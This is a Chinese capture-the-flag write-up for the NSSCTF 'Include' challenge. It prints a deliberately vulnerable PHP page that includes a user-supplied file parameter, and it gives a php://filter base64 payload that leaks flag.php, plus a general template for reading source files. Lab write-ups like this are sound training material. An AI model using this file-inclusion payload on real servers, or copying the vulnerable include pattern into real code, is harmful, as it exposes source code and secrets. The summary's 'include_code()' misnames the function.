Nssctf Include Wp

字数: 507

初进页面,提示:传入一个file试试。
随便传入一个参数后页面显示 php 源码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?>

又提示 flag 在 flag.php 中。
而最下面有:

1
include_once($file);

其本意是为了防止重复包含文件导致重复定义函数、类、常量而导致的错误。
但是这样如果传参的 $file 是本地文件包含的参数就可以做到任意读服务器的文件或 php 源码。
提示 flag 来自 flag.php 中,可以传 flag.php 是没用的,但是我们可以用 php://filter 添加 base64 过滤器来防止代码执行并获取到 flag.php 的源码。

传参:

1
?file=php://filter/convert.base64-encode/resource=flag.php

遂得到一串字符串:

1
PD9waHANCiRmbGFnPSdOU1NDVEZ7ZWE2NjI4ZTQtZGE2ZS00NGE4LTllNTItNzJmYmNlYmI3Yzg3fSc7

这是 base64 加密值。使用 base64 命令进行解密:

1
2
3
❯ echo PD9waHANCiRmbGFnPSdOU1NDVEZ7ZWE2NjI4ZTQtZGE2ZS00NGE4LTllNTItNzJmYmNlYmI3Yzg3fSc7 | base64 --decode
<?php
$flag='NSSCTF{ea6628e4-da6e-44a8-9e52-72fbcebb7c87}';

得到 flag。

总结

核心是利用 include_code() 函数。一旦传入的参数可以被控制,就可以进行文件包含,以用来泄漏源代码或者服务器的文件。
这里学到了 php://filter 访问输入输出流。

1
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

这里在 resource 参数输入需要读取的文件路径。可以读取源代码,并进行 base64 编码输出。